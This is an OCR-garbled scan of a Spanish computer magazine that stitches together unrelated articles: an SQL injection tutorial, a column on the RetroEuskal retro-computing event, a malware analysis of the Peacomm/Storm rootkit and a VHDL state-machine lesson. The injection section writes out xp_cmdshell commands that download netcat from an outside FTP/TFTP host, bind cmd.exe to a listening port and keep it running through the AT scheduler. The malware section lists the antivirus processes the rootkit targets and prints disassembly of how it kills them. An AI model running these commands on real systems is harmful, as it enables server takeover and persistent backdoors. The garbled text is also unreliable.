binary >> ftp.txt'--

: exec master..xp cmdshell
'echo get nc.exe >>» ftp.txt'-

'? exec master..xXp cmdshell

'echo close >> ftp.txt'-

Lo que hemos hecho ha sido crear el fi-
chero “ftp.tt” donde hemos introducido
todos los comandos necesarios para que
el servidor vulnerable se descargue el
nc.exe de vuestro servidor FTP,

Ahora llega el momento de que el servi-
dor vulnerable se descargue nuestro Net-
cat invectando:

Rucx master..xXp
‘ftp =s:fEp.txt'—~

BxXac cmdshell

Si todo ha ido bien, veremos en el log de
vuestro servidor FTP que el servidor vul-
nerable se ha descargado el nc.exe.

S5i no se ha producido la descarga, es po-
sible que el servidor vulnerable tenga limi-
tados mediante un firewall las conexiones
al exterior. En ese caso podéis probar a
montar un servidor TFTP en vuestro PC,
como explicibamos en la entrega 46
{aprovechdndonos del CGl perl) o en la
52 (con el bug del unicode), v hacer que
se descargue el fichero por TFTP ejecutan-
do la inyveccidn:

': exec master..xp cmdshell
“tfrp -1 =sgldever.no-ip.org
get ne.axe ne.exe’'=-

Como podréis comprobar, aunque la téc-
nica que estamos ulilizando para colarnos
es distinta de la que tratamos en sudia en
los articulos 46 v 52, el método que sub-
vace (el FTP o el TFTP) es el mismo. Co-
mo ya os he dicho en otras ocasiones, al
final el hacking es como jugar una partida
de ajedrez (por aquello de vencer a un
oponente)] o montar un puzzle (por ague-
llo de encontrar las piezas que encajen).

Llegados a este punto va debéis haber si-
do capaces de hacer que el servidor vul-
nerable se descargue el Netcat.

m INYECCION DE CODIGD SQL

>>> Website del mes

Vamos a sacarle partido a una web que nos per-
mite crackear claves MDS on-line. Se trata de
Wicking, hitps:/iwww.wdcking.com/cracker/.

La web en si no es mucho mds, pero siempre es
ﬂﬂlmmammh@rmmﬂ
rapidamente una confrasefa.

Pero si lo que necesitéis es una rainbow table pa-
ra sacar mas contrasefias, 0s recomendamos que
05 paséis por Free Rainbow Tables en www.iree-
rainbowtables.com.

Y si con esas no habéis tenido suficientes, pasa-
rog por las que ofrecen Shmoo en rainbowta-

bles.shmoo.com, ya que hacen més cosas a

parle del AirSnort.

ATENCION WEBMASTERS: Si creéis que
vuestra web (bien sea Indupumiantun de un
grupo) es lo suficientemente buena como
para aparecer en esta seccion, y su conteni-
do se refiere al hacking que aqui tratamos,
no dudéis en hacérnoslo saber ala direccién
multimedia.com.

5%) Arrancando la puerta trasera: Ahora
hay que montar la puerta trasera, ejecu-
tando el Netcat.

Tenemos dos formas de montar la puerta
trasera: abriendo un puerto al que poda-
mos conectarnos, o haciendo que sea el
propio servidor vulnerable el que se co-
necte a nosotros.

Empezaremos explicando la primera op-
cion. Ejecutaremos el Netcat de manera
que se quede a la escucha en un puerto
que no debe estar en uso (por ejemplo el
20000) inyectandeo:

'; exec master..xp cmdshell
'ne.exe -L -d -e& omd.exe —p
20000 ==

51 ahora nos conectamos mediante un tel-
net a la IP del servidor vulnerable al puer-
to 20000 deberia saludarnos con una
linea de comandos jy seriamos felices!

51 se reinicia el servidor vulnerable, per-
deréis esta puerta trasera y tendréis que
valver a inyectar el codigo (aunque en es-
ta ocasion solo seria necesario arrancar el
Netcat, va que el trabajo de subirlo no hay
que repetirlo). Pero si mds adelante corri-
gen la inyeccion SOL no podréis volver a
ejecutarlo, aunque aqui os traemos el re-
medio para todo (o casi todo) v en esta
ocasion consiste en el comando “AT”.

famas

Pinpins Fw—rmary

Rainbow fables de Shawo

El comando AT os permite programar ta-
reas, de esta forma podremos hacer que
cada x tiempo se arranque la puerta trase-
ra, asi volverd a abrirse tras un reinicio del
servidor, o aunque eviten la inyveccion de

SQL.

Lo primero que tendremos que hacer es
comprobar si el servidor tiene arrancado el
servicio “Programador de tareas” (“Task
scheduler” en inglés), para ello tendréis que
ejecutar en el servidor el siguiente comando:

' exec master.
"net start >
programador .

.xp_ﬂmdﬁhe]l
Ext'—-

Si el programador de tareas esta arranca-
do, aparecerd en el fichero “programa-
dor.txt". El cémo vedis dicho fichero va es
cosa vuestra, utilizad una de las variantes
que os hemos explicado para leer ficheros
)

Si no aparece, significa que no estd arran-
cado el programador de tareas, por lo que
tendremos que arrancarlo ejecutando:

; exec master..xp cmdshell

'net start "programador de
tarsag™'——

'y exec master..xp cmdshell
"Tnet start schedule'==-

(@ J2]



Quien parte y reparte se lleva
la mejor party

Confieso que les iba a presentar un com-
binado de datos v comidillas de las dos
celebraciones vintagenarias de mas cope-
te que se celebran en nuestro pais, éstas
son MadriSX & Retro v RetroEuskal. Capri-
cho de los hados que MadriSX & Retro
esté ahora mismo en sana mutacién, que
de entrada ya ha cambiado de nombre y
su nueva denominacion es RetroMadrid,
¥ fue su gestion sera llevada a cabo por
la Asaciacidn de Usuarios de Informatica
Clasica, AUIC para los amigos. Mogollon
de cambios que cuando se consoliden
dardn lugar a un mejor y mis competente

evento de reunién vintage. No pretendia
dar mads énfasis a una que la otra ni tam-
poco deseo incurrir en desaciertos, por
eso escurro el bulto de RetroMadrid y me
centro en RetroEuskal, que por méritos
propios se merece una especial atencidn
si me permiten decirlo.

RetroEuskal empezd sin orden ni meta no
hace mucho, de forma espontdnea, como
una revolucién. Unos cuantos usuarios
vintagenarios coincidieron en la 11* Eus-
kal Party -la que ahora es Euskal Encoun-
ter- alld por el afio 2003 montando una
improvisadisima muestra de maquinas
vintage, un combate de esos de chuleria
contenida, yo me traigo mi Spectrum v ti
te traes tu Amstrad CPC, a ver cual de los
dos mola mads. Sabino San Vicente, direc-
tor de la party y amiguero de corazdn, se
acercd al que parecia el cabecilla del mo-
vimiento, Ifaki Grao, v le convidd a una
tortura de esas de sama con gusto: orga-
nizar jornadas vintage dentro del dmbito
de las Euskal Encounter venideras. Creo

gque muy pocos denegarfan sufrir tal con-
dena si se les propusiera...

De esa manera tan circunstancial nacié
RetroEuskal y desde el principio que se
desmarcd mucho de lo gue seria una
party, reunion de usuarios, feria o como
queramos llamarlo; la personalidad de Re-
troEuskal es muy particular, su propia defi-

RETROEUSKAL: ENCUENTRO
NACIONAL ANUAL DE AFICIO-
NADOS E INTERESADOS EN LA
RETROINFORMATICA Y VIDEO-
JUEGOS CLASICOS

Cla ][N [T RETROEUSKAL

nicion de 'encuentro nacional anual de
aficionados e interesados en la Retroln-
formatica y videojuegos cldsicos' cuenta
COn unas caracteristicas que no son ni
mejores ni peores que las de otros even-
tos, solamente imprimen una forma distin-
ta de tratar el tema vintage. Para empezar
se auspicia bajo el apoyo v apadrinamien-
to de la Euskal Encounter, como ya he
destacado antes; y muestra al publico un
espectaculo que no depende de aporta-
ciones directas ni de participaciones indi-
viduales. Hablando en plata, que todo lo
que se monta RetroEuskal es obra v gra-
cia de RetroEuskal, no hay grupos activis-
tas gue prestan su presencia itinerante o

actos mercenarios, es la organizacion la
que busca y construye lo que se va a ex-
poner. JOQue qué es lo que se exponed
Maravillas, oigan, maravillas.

De Bilbao, del centro

de Bilbao

Las excelencias de RetroEuskal se pueden
resumir de una manera bastante mal dies-
tra citando un pufiado de las actividades:
Museo, Juegddromo y Conferencias. Hay
mds pero estas tres son la santisima trini-
dad vy su punto fuerte. El Museo se auto-
define con su nombre, una exposicién
que en cada edicidn parece gue no se
pueda mejorar. En la pasada edicién de
este ano se dedicé a la celebracion del
25 aniversario de la aparicion del ZX
Spectrum y como comisario de la exposi-
cidn se contd con Albert Valls, gran cono-
cedor de la obra de Sir Clive Sinclair y
ENOMME Persona que con gran acierto en
contenidos y continentes promovid una
retrospectiva sin igual, espectacular, por
definirla con una sola palabra. Contd con

o«

e



RETROEUSKAL

aportaciones documentales de Rick Dic-
kinson, quien fuera disenador de Sinclair
Research, documentos grificos de proto-
tipos, bocetos v disenos inéditos hasta es-
te momento.

El Juegddromo -que forma parte intrinse-
ca del museo- otrece la oportunidad de
jugar con las maquinas reales, a experi-
mentar el juego real en la maguina real, a
ver ordenadores y consolas épicas en fun-
cionamiento, que auncgue pueda parecer
una perogrullada ya me diran ustedes
dande pueden encontrar algo asi en un
espacio publico. No es nada habitual en
una party encontrar ordenadores y conso-
las a los que poder jugar libremente, asi, a
disposicion del primero que las trinque. Y
las conferencias, que presentan lo mas
granado del sector, ponentes con la cabe-
za muy bien amueblada, que hablan con
propiedad, con gusto v con clarividencia.
Remitiéndome de nuevo a la pasada edi-
cidn, se contd con la presencia de Do-

.SABIAN QUE RETROEUSKAL
CUENTA CON UN SERVICIO DE
ACOMPANAMIENTO TURISTICO
PARA AQUELLAS PERSONAS
QUE LO VINTAGE LES IMPOR-
TA UN PITO?

mingoe Gomez v Primitivo de Francisco,
director v editor de las revistas Micro-
hobby v Micromania el primero, y redac-
tor y experto en hardware en
Microhobby el segundo. Toma jeroma,
pastillas de goma.

Ya ven que aunque los medios, posibilida-
des y disponibilidades del personal orga-
nizador v colaborador asi como de los
medios materiales v logisticos puedan ser
razonablemente limitados o escasos
segln el criterio, los resultados visibles
son la repanocha, seguramente que solo
bajo los efectos del alcohol o de algtin es-
tupefaciente de dudosa legalidad se pue-
de imaginar uno lo que se consigue en

RetroEuskal. ¥ a esos logros se destina el
aplauso. Orquestados entre bambalinas
por RetroAccidn -asociacion para el estu-
dio v divulgacion de la informatica clasi-
cd-, apenas una decena de férreos
voluntarios se reparten las tareas, cada
uno por seccidén o actividad, v no son re-
compensados ni reconocidos porque no
les vemos, porque sus resultados nos cie-
gan por su brillantez,

Marmitako power

Cuando cada ano a finales del mes de ju-
lio nos acercamos al Bilbao Exhibition
Center v accedemos a la Euskal Encoun-
ter, ahi tenemos ese grupito de inconfor-
mistas que nos bafan con una cascada
de documentos, muestras y conocimien-
tos que lo flipamos. Invierten tiempo vy di-
nero para que nosotros, los asistentes,
recibamos una doble ensefanza que me
da a mi que no acabamos de pillar. Por
una parte vemos un tinglado que no se
ha montado solito v que ningun Donald
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Trump ha bendecido, v por otra
parte ignoramos a unas personas
que estan alli para complacemos,
i5abian que RetroEuskal cuenta
con un servicio de acompanamien-
ter turistico para aquellas personas
que lo vintage les importa un pito,
verbigracia de esposas, amigos o
hijos de los asistentes? ;Son cons-
cientes que para llegar a la conse-
cucion del evento se ha tenido de
trabajar de verdad para concretar
conferenciantes, invitados, mate-
rial y equipos, asi como el perfecto
estado de revista de toda parte
técnical ;Se dan cuenta de gue
cuando ustedes se parten el pecho
al ver un Spectrum en funciona-
miento, cuando escriben en su bo-
nito blog su experiencia en la
party v hacen chascarrillos burlo-
nes sobre ese mismo Spectrum o
gue cuando desde su supermacro-
pecera chatean con sus coleguitas
que pim que pam con el Messen-
ger, falta de ortografia aqui, patada
al diccionario alli y se cachondean
de los frikis esos de lo retro, se
dan cuenta de que ustedes no tie-
nen nada de eso! No importa que
dentro de cinco afos ustedess
estén mayorcitos v sus sobrinitos
lloren de risa al ver la P53 o
XBox360 que ahora ustedes tienen
como lo mds in, no importa que
ustedes se dediquen o tengan por aficidn
los comics, el piragliismo o estén engan-
chados a Perdidos, House o Heroes, en
cinco anos deseardn que alguien de ahi
fuera tenga el dnimo que se palpa en Re-
troEuskal v que les procure continuidad e
incluso perpetuidad a su aficién.

El eutemismo de aquello de un camino de
rosas yo siempre lo he entendido comao
algo al estilo camino de cabras lleno de
zarzas y espinas. ¥ muchos capullos, afa-
do. Nosotros vemos las florecitas v los
muchachos de RetroEuskal son los que se
tragan las espinas. Y los capullos, afado
de nuevo. Problemas mil han tenido, v va-
rios miles mds que tendran. Conferencian-
tes que se caen del cartel y que se han de
reemplazar a velocidad de Kimi Raikko-
nen, maguinas que no llegan a tiempo v
que implican una reestructuracién inge-
niosa del espacio para disimular su ausen-
cia, improvisaciones en tiempo real por
las variaciones de timming o de locating
que la propia Encounter sufre y que re-
percuten en RetroEuskal, Gajes del oficio
que lo llaman, sélo que sin emolumentos
ni gaitas.

Construyendo la catedral

Similar, muy similar es lo que se padece en
MadrisX & Retro, digo... RetroMadrid, slo
que hablar de esta feria ahora me resulta
muy atrevido por los cambios que les co-
mentaba una lineas en el pasado. La mento
para aclarar el punto de las colaboraciones
exlemnas y para que comprendan un pogui-
to mejor gue recibir 0 no recibir ayudas es
igual de positivo como de negativo. En Re-
troEuskal ustedes no encontrardn stands de
un coleccionista, de un vendedor de sus

propios productos o un buhonero
cibernético mercadeando con arti-
culos de segunda mano, esas serian
intromisiones dentro de lo que seria
la exposicion. RetroEuskal se abre
de par en par a cualquier tipo de
ayuda o colaboracion, sélo que
serian para la organizacion de las
aclividades, no para protagonizar-
las. En RetroMadrid usted si que en-
contrara stands y tipos asi de
expositores, solo que su presencia
es la propia ayuda, la que engrande-
ce el evento. Fardando un poco se
encontraria paralelismo en los mo-
delos de desarrollo de catedral y
bazar que todo seguidor del codigo
abierto tiene bordado en el cabezal
de su cama; incluso los modelos
noosféricos que diferencian antro-
polagicamente los hackers de los
crackers sirven también para dife-
renciar las formas de actuacion de
RetroMadrid v RetroEuskal. ¥ eso
que alguno de ustedes ve esto de lo
vintage coma cosa de viejos medio
tarumbas. Hombres de poca fe...

Caigan en la cuenta de que no hay
fama ni reputacién adquirida por
los que nos conceden el acto Re-
troEuskal, que ni aqui listo los
nombres de toda la cuadrilla, que
ni tan siquiera en su site www.re-
troeuskal.org se esfuerzan por dar
rostro a sus protagonistas, solamente des-
tacan las colaboraciones v las aportacio-
nes, sin obviar contenidos generados en
ediciones anteriores en forma de fotos,
audios de las conferencias, videos de las
actividades y un millén de cosas mds. A
mi me da ldstima y me repatea que Retro-
Euskal se quiera entender como una ini-
ciativa interina de la Euskal Encounter, no
solo porque son dos entidades verdadera-
mente distintas, sino porque tampoco se
dignifica a los organizadores v currantes
e Euskal Encounter. O a los de RetroMa-
drid, que también tiene lo suyo.

Y ya saben, para enviarme invitaciones a
grupos, postales electrdnicas o anuncios
de vitaminas para aumentar el tamafio de
mi pene -;adn masf- no lienen mas que
sentarse delante de su ordenador perso-
nal, entrar en www.matranet.net v utilizar
cualquiera de las casillas de correo
electranico que ahi encontrardn para co-
lapsar el buzdn con bombas de un millén
de bits, a ver si de alguna yo, S.T.A.R,
puedo sacar buen provecho, Muchas gra-
cias y buena suerte.

S.T.A.R.<
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Volvemos a estudiar esta bestia virica.

Entenderemos los trucos que siguen, y
analizaremos en profundidad lo que queda.

Espero que lo disfruten.
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Parcheando los chequeos por
ejecucion en VM

. Lext:0000175E jz short log 1785
Debemaos hu‘."r':-af_. los CITE{]UEUS COmo text:00001760 F:'i.]-"ih Object 5T : Object
mencioné antes, y el primero, esta justo baxt 00001766 Saik] sub 1142
después del OEP detectado, en la direc- text:0000176R push affset sub 138C odnt
cian ;“3351 llamando a una rutina en vy 00001770 push  offset dword 1A54 ; int
4031bc. . text:00001775 push  offset aZwquerydirec 0 ;
_ i "E-:-:-Quer Directa:—-«Ei le"
Se trata de una deteccién usando el Com- . 0 - ] _ T
Channel VMXh, con un ndmero médgico.  .ov . 0000177F e dword 1AS5C

Esta deteccidn es para VMWARE.

Luego le sigue un chequeo para Vir-
twalPC. Existe un segundo CALL, en la di-
reccion 40339C, saltando hacua 40314E.

Es un truco utilizando un codigo de ope-
racion ilegal.

#Qué sucede si es detectada una maqui-

text: 00001785

digo en el proceso del explorer para ini-
ciar la shellcode que nos llevara hacia el
rootkit. (ver Listado 1)

Ahora analizaremos, algo bastante curio-
s0, que hace diferir a este virus, y su root-
kit, de muchos vistos hasta hoy en dia,

te. Esto sucede cuando se lee bien la do-
cumentacion de los 50, APl's, programa-
cion de drivers a fondo, entre otras cosas.

)

-text:000018F9
call sub 110C

na virtual? Exactamente existe un salto a
un bucle infinito, “durmiendo” al virus pa-
ra siempre.

por una técnica inusual y muy interesan-

"
=
B

E_gLi=
Lo ]

.,

El loop se encuentra en la direccidn
403524. La forma de solucionar estos
chequeos, es parchear 2 bytes , en la di-
reccion 40338F con un JMP hacia
4033A9.
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Analizando el rootkit spooldr
Analizaremos lo mejor que podamos el
rootkit mencionado, que forma parte inte-

gral del virus. Il"""'"-*i'ilh-ﬂ-llln— e ey e R

T TR T ' =

f e
’ "Iz_lm-\: e _&FHHT: o il i
Para empezar, veremos que nos dice el T i
software de chequeo de rootkits y com- i e fepensma: el
= s BB = vear _Hisi |, ‘¥
portamientos anomalos denominado T ] ol
RkUnhooker 5 e St
: i = e
rulisc: = s W], @ EFTEE FiFwmill Se FEBLIR
i perpetesrd- ] gl
Podremos ver viejo truco, un SS5DT hook ebas ik B o pek i
- v ol ki faik ris
de una funcién nativa del SO, llamada Ni- B o RS SN —————
. i pre g o il
QueryDirectoryFile, EERR e E
r!l.ul-qlpﬂ ; |

orw e SRR 1ax_khidd: 3 N B L e g e 36 WS sl e LR p

Mas especificamente el CALL de la direc-

cion 177F, realiza el S5DT hook. h'm;; | — — __f‘

ot B U LR T e gt

Mientras que el primer CALL, inyecta ¢  znafizands
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>>> Listado 2

sdatant.sys kavsve.exe
watchdog.sys klswd.exe
zclient.exe ccapp.exe
befilter.sys ceevimgr.exe
beftdi.sys CCPXYSVC.exe
bc_hassh_f.sys ia0.exe
be_ip_f.sys issviC.exe
bc_ngn.sys rtvscan.exe
bc_pat_f.sys savscan.exe
bec_prt_f.sys bdss.exe
bo_tdi_f.sys bdmcon.exe
filtnt.sys livesrv.exe
sandbox.sys cclaw.exe
mpfirewall.sys fsav32.exe
MSSSIv.exe fsm32.exe
mcshield.exe grasserv.exe
fshl.exe icmon.exe
avz.exe inetupd.exe
avp.exe nod3Zkrn.exe
avpm.exe nod32ra.exe
kav.exe pavinsvr.exe
Kavss.exe

DOEEFE push  eow

naE1EF" call EerneliallbackFerFileInageloadHotiFy
nadiEFE war ak, #ax

ng@IRen pEgh #ax v StartContext

nea v push  offset StartRoutine ; StartRostine
nea19e push  eax : Elientld

e Per push Eax i FrocessHandle

e PisE push Ean i MbjectAttributes
[IEIRET push 1 ¢ Pesireddccess
(TTRET™" 1ea eax, [esp+1Ch+Threadiandle]

nEni e push L LS + ThreadHandle

oEriGin call dg :PsCrrateSystonTheoad

waneie push  offset FileHandle : “\\SystemBoot\\SYSTEMIZ\\nteskrnl.rxe™
L call  LockFileFranliseriodenccess

o9z push aff=et afystemrcootSy @ ; “\\SystenHoat\\EVETEREE varivers\\kbdclass. s, ..
man92s call waw:ﬁ

L] O rax, e

#00192C pop  eex

LL Lk Fetn f

BRI102D start Endp

2001920

lock 2iles

Esta funcidn de aqui arriba, se ejecuta al
comienzo del rootkit, vy es simplemente
un algoritmo de notificacion del rootkit. Si
algun Antivirus, o médulo de algin Antivi-
rus, estd cargado en memoria y esta
abriendo el proceso del rootkit, este, se
parchea a si mismo, simulando un cadigo

que hace gue termine el andlisis rapido,
sin llegar al corazon del rootkit,

Litiliza la funcion PsSetLoadimageMotify-
Routine, y sirve justamente, como en su de-
finicidn dice, para notificar, cuando una
imagen binaria es abierta para su ejecucion.

Contra los Antivirus

El virus chequea si el driver o el programa
fue cargado en modo usuario. 5i fue car-
gado desde el modo usuario, entonces el
proceso se termina utilizando ZwTermi-
nateProcess,

Si esta como driver, la rutina escanea por
su punto de entraday lo parche con:

XOR ERX, EAX 3
RETHN B8

Luego gue el driver comienza, retorna 0 y
termina. Esto sucede como mencioné an-
teriormente, después de que el driver fue
infectado anteriormente. Por ejemplo en
kbdclass.sys, cdrom.sys y topip.sys, los
cudles inmediatamente inician el driver
del rootkit.

Cada driver v programa que es cargado
despues del driver spooldr.sys, se encuen-
tra Bajo el control absoluto del rootkit, Y
ahora deberia tener total control del siste-
ma. Esto sucede cuando se utiliza un ho-
ok S5DT normal para ocultar el driver.

El virus, neutraliza los siguientes Antivirus:

Zonealarm Firewall

Jetico Personal Firewall
Outpost Firewall

McAfee Personal Firewall
McAfee AntiSpyware
McAfee Antivirus

F-Secure Blacklight
F-Secure Anti-Virus

AVZ Antivirus

Kaspersky Antivirus
Symantec Norton Antivirus
Symantec Norton Internet Security
Bitdefender Antivirus
MNorman Antivirus
Microsoft AntiSpyware
Sophos Antivirus

Antivir

NOD32 Antivirus

Panda Antivirus

Dpbtedemoes su mundo digital--
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La lista de ficheros comprometidos es:
(ver Listado 2)

El truco PeekMessageW

El virus posee una funcion especial que
escanea el proceso explorer.exe e inter-
cepta la entrada de importacién de la AP
PeekMessageWV, la cudl es llamada muy
seguido por explorer.exe.

La entrada es interceptada con un shell-
code especial, que borra la entrada de im-
portacion de esta API, y realiza un
cambio hacia el proceso spooldr.exe.

Es un buen truco, porque el uso de Crea-
teRemoteThread, el cudl la mayor parte
de los productos de monitoreo de activi-
dad escanea. Este truco funciona de un
modo mucho mas sofisticado, evitando
problemas de deteccion temprana.

Blogueo de ficheros

El rootkit bloquea dos archivos,
ntoskrnl.exe y kbdclass.sys, utilizando
MtlLockFile. La idea de esto, es blogquear
el acceso desde el modo usuario, por
gjemplo, cuando herramientas como Hi-
jackthis tratan de escanear por cambios
sospechosos en estos archivos.

Analisis final '
Ahora veremos algunos snippets de codi-
go vy acciones que realiza el virus.

Empecemos por la rutina que hace que el
virus se copie a si mismo a la carpeta de
Windows.

push ebp

MoV ebp; esp

sub esp, 200h

pusha

push 0FFh

lea edx, [ ebp+var 200]
push edx

push 0

call loc 424499

N N

g
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PEACOMM.C (1)

call wCsstr

test BaX, van

pop BCE

pop L=t

jz DaMathing » Hat the Fight File

LT eds, [ebp+BasedfCurrent Inage]

Clp ward ptr [edx], SAWDh ; HZ

Jnz Dakbathing i Mot a PE-File

F eax, [edx+3Ch] ; offset to PE Header

add rax, edx

R deord ptr [eax], WS58h ; PE

jmz short DoHothing

Uil ek, [eax+28h]  Address of EntregPoint

add BCK, Bdx

cap [ebp+FileType], ebx ; Is File (@) or Driver (1) 7
inz short IsDriver

Aow eax, [ebp+PID0FCurrentLoadedinage] ; Current PID|
Ao [ebp+CLlient ld.UniqueProcess], eax

HOF BAX, Pax

L [ebp+DbjectAttributes.Length], 184

ROy [ebp+ObjectAttributes . Rootbirectory], ebx

LT [ebp+Dbjectattributes.0bjectiane], ebx

ROy [ebp+Objectattributes.Attributes], ebx

oy [ebp+Objectattributes.Securitybescriptor], ebx
lea edi, [ebp+Dbjectittributes.SecurityQuality0FService]
stosd

El llamado final, sigue atravesando otros
lugares, cargando strings, con los nom-
bres de las APl's y obteniendo sus direc-
ciones, para luego reutilizarlas para
COPIArse a si mismao.

push ebp

mov ebp, esp

sub esp, 2D0h

MoV [ ebptvar 2D0] , 'sten'
Mo [ ebptvar 2CC), 'if h'
MoV [ ebp+tvar 2CE], 'awer'
Mo [ ebpivar 2C4], "s 11
o [ ebp+var 2C0], 'a te!
mov [ ebptvar 2BC] , 'woll'
Mo [ ebptvar 2B8], 'rpde'
mowv [ ebpt+var 2B4] , 'argo'
Mo [Ehp+var‘25ﬂ], o Y
Mo [ ebp+var 2AC] ;. 'e Py!
mowv [ ebp+var 2A8]) , 'lban'
Hil= ks [ ebptvar 2Ad), 'e!'
Mo [ ebp+var 2A3], 0
pusha &

push 100h

lea edx, [ ebp+var 152]
push edx

call loc 423DC6

El algoritmo de aqui arriba ejecuta el co-

£l
E

i

mando netsh firewall set allowed program
“s" enable como expliqué en anteriores
nUMenos.

Muevamente el dltimo llamado, obtiene
todas las direcciones, a los llamados a
APl's para poder hacer un Wincmd, v eje-
cutar el comando en un pipe por consola.

Conclusion

Muy bien, finalmente deberé decir, que
nos hemos topado con una criatura muy
interesante, que nos ha traido grandes
sorpresas v trucos, Estos trucos han he-
cho que podamos navegar entre las en-
trafias del sistema operativo, aprender el
funcionamiento de los AV, v sobre la ins-
talacion de rootkits que comprometen un
S50 entero.

Espero que les haya gustado.
Mos vemos en la proxima.

SparkK
http://www.disidents.org
http://www.intrabytes.com
spark@disidents.org
arielrm@intrabytes.com
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Bienvenidos seais todos una vez
mas, lectores. En la entrega anterior intro-
dujimos el concepto de maquina de esta-
dos, y vimos cémo puede dicha
abstraccion ayudar al proceso de diseno
de una unidad de control cableada. Para
comprender mejor todo ello, ideamos
una hipotética mdquina de estados que
implementarfamos mediante una simula-
cion programada en lenguaje VHDL. Tam-
bién implementamos, de forma
comportamental, un biestable de tipo D
el cual usaremos para llevar la cuenta de
los estados de nuestra magquina.

Recapitulando

Antes de nada, es conveniente recordar
un poco por donde nos quedamos para
no perdernos al continuar. En primer lu-
gar, disefamos una mdiquina de estados
que representamos mediante un automa-

Nuestra miquina de estados

LLETYTYS ARQUITECTURA DE COMPUTADORES

>>> Listado 1

ENTITY cont f£fd uc IS

--CONTrolador para FlipFlop tipo D de la Unidad de Control

GENERIC (retardo: TIME:= & ns) :
-=-ratardo maximo de la sefial dl
PORT (g0,qgl,x: IN BIT;
d0,dl: OUT BIT):;
END cont ffd uc;

ARCHITECTURE estructural OF cont ffd uc IS
-=Arquitectura estructural del contrelador

--declaracién de componentes
COMBPONENT notl

PORT (a: IN BIT; z: OUT BIT):
END COMPONENT ;
COMPONENT and2

PORT (a,b: IN BIT; z: OUT BIT):
END COMPONENT ;:
COMPONENT and3

PCRT (a,b,c: IN BIT:; z: OUT BIT):
END COMPONENT ;
COMEBONENT orZ

PORT (a,b: IN BIT; z: OUT BIT):
END COMPOMNENT ;

--declaracién de sefiales

SIGHAL --niveles iniciales negados
ngl, ngl, nx,
--salidas del primer nivel de puertas
d0pl, d0pl, dlp0, dlpl: BIT;

--ubicacién de argquitecturas

FOR ALL: notl USE ENTITY WORK.notl (comportamental) ;
FOR ALL: and2 USE ENTITY WORK.and2 (comportamental) ;
FOR ALL: and3 USE ENTITY WORK.and3 (comportamental) ;
FOR ALL: or2 USE ENTITY WORK.orZ (comportamental) ;

BEGIN

--gconexidén de la estructura
puertaNotl: netl PORT MAP(g0,ng0);
puertaNot2: notl PORT MAP(gl,ngl) :
puartaNot3: notl PORT MAP(x,nx) ;
puertaAndl: and2 PORT MAP(ng0,ql,d0p0):
puertaAndZ: and2 PORT MAP(ngl,x, d0pl);
puertaAnd3: and2 PORT MAP(ng0,ql,dlp0) ;
puertaAnd4: and3 PORT MAP(q0,nql,nx,dlpl) :
puertaOrl: or2 FPORT MAF(dOp0,dOpl,do);
puertaOr2: orZ PORT MAP(dlp0,dlpl,.dl):

END estructural;
ARCHITECTURE comportamental OF cont £fd uc IS

=-Arquitectura comportamental del controclador
BEGIN

d0<=((NOT g0) AND gl) OR ((NOT gl) AND x) AFTER retardo:
dl<=((NOT q0) AND gl) OR ((NOT gl) AND (NOT x) AND q0) AF-

TEERE retards;

END comportamental ;
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Disefio e la Ibgica para Ja unidad de control

ta finito con cuatro estados y sus corres-
pondientes transiciones. Posteriormente,
¥ para poder implementar esta abstrac-
cidn, disefiamos una tabla con las distin-
tas senales digitales implicadas en el
sistema modelado.

A la hora de llevar el sistema al plano di-
gital, vimos que seria necesaria la imple-
mentacién de un par de funciones
légicas de excitacion para los biestables
del sistema, de forma que el comporta-
miento de éstos fuera el deseado. Calcu-

@

lamos y simplificamos las funciones, v
obtuvimos lo siguiente:

DO = !00-Q1 + !Q1-X = ({(NOT
QD) AND Q1) OR ((MOT Ql) AND
) H : 5

D1 = 1Q0-Q1 + QO-1Ql-!X =
((NOT QO) AND Q1) OR (QO0 AND
(NOT Q1) AND (NOT X))

Por dltimo, implementamos dichas fun-
ciones en el siguiente circuito digital: (ver
Listado 1)

Un lego digital

Llega el momento de conectar el con-
trolador légico que acabamos de di-
senar a los dos biestables de tipo D que
utilizaremos en nuestra maquina de es-
tados. La conexidn se realizard de la si-
guiente forma:

La implementacion de dicho circuito es la
siguiente: (ver Listado 2)

Resulta especialmente interesante fijarse
en la evolucion de las sefales de control



de la ldgica que hemos programado, v co-
mo se reflejan sus fluctuaciones en la sali-
da de los biestables. Ahora modificaremos
nuestro reloj para que inicie el conteo en
el flanco de subida v tenga un periodo de
25 nanosegundos (el que he usado para
las capturas de ejemplo):

ENTITY reloi IS
GEMERIC (periodo: TIME:=

25 n8);

FORT (reloj: OUT BIT:=
Bl Lt
END relod;

ARCHITECTURE comportamental
OF reloj IS

BEGIM
PROCESS
BEGIN
WAIT FOR perio-
do/f2;
reloj <= '0';
WAIT FOR perio-
de/2;

relod =]
END PROCESS;
END comportamental;

DISENAMOS UNA MAQUINA DE
ESTADOS QUE REPRESENTA-
MOS MEDIANTE UN AUTOMATA
FINITO CON CUATRO ESTADOS
Y SUS CORRESFONDIENTES
TRANSICIONES

Ha llegado el momento de conectar esta
estructura, que podriamaos calificar como
el controlador de la miquina de estados,
al reloj y a las puertas légicas que gene-
raran la salida de la misma. El disefio del
circuito serd el siguiente: (ver Listado 3)

Comprobando

el funcionamiento

Ahora es el momento de comprobar si la
macuina de estados que hemos disefado
mediante este método funciona, para lo
cual analizaremos la senal de salida obte-
nida en el simulador Vsystem tras cambiar
arbitrariamente la entrada del sistema

unas cudntas veces. Echad un vistazo a las

imagenes adjuntas para comprender lo
descrito en los pdrrafos siguientes.

Adqui encontramos la maquina en el pri-
mer estado, el que podriamos calificar co-
mo estado inicial o de reposo. En este
estado, las salidas tienen el valor
[Z=0;R=0} v, mientras la senal de entrada
tenga por valor un cero logico, no cam-
biaran. Nos encontramos en el estado A.

ARQUITECTURA DE COMPUTADORES

>>> Listado 2

ENTITY cont ffd 01 IS
--CONTrolador para FlipFlop tipo D (primer elemento)
PORT (x,clk: IN BIT;
q0,ng0,ql,ngl: OQUT BIT);
END cont ffd 01;

ARCHITECTURE estructural OF cent ffd 01 IS
--Arquitectura estructural del elemento

-=-declaracién de componentes
COMPONENT cent ffd ue
PORT (g0,ql,x: IN BIT;
d0,dl: OUT BIT):
EHD COMPOMENT ;
COMPONENT ££D
FORT (d,clk: IN BIT;
q,ng: INOUT BIT);
END COMPOMENT ;

-=declaracién de sefiales

SIGNAL =--salidas de los biestables
890 ,sng0, sgql,sngl,
--salida de los circuites 1:5:9‘1#:1:1'3
log0,legl: BIT;

--ubicacidon de argquitecturas

FOR ALL: cont ffd uc USE ENTITY WORK. cont_ffd uc(estructu-
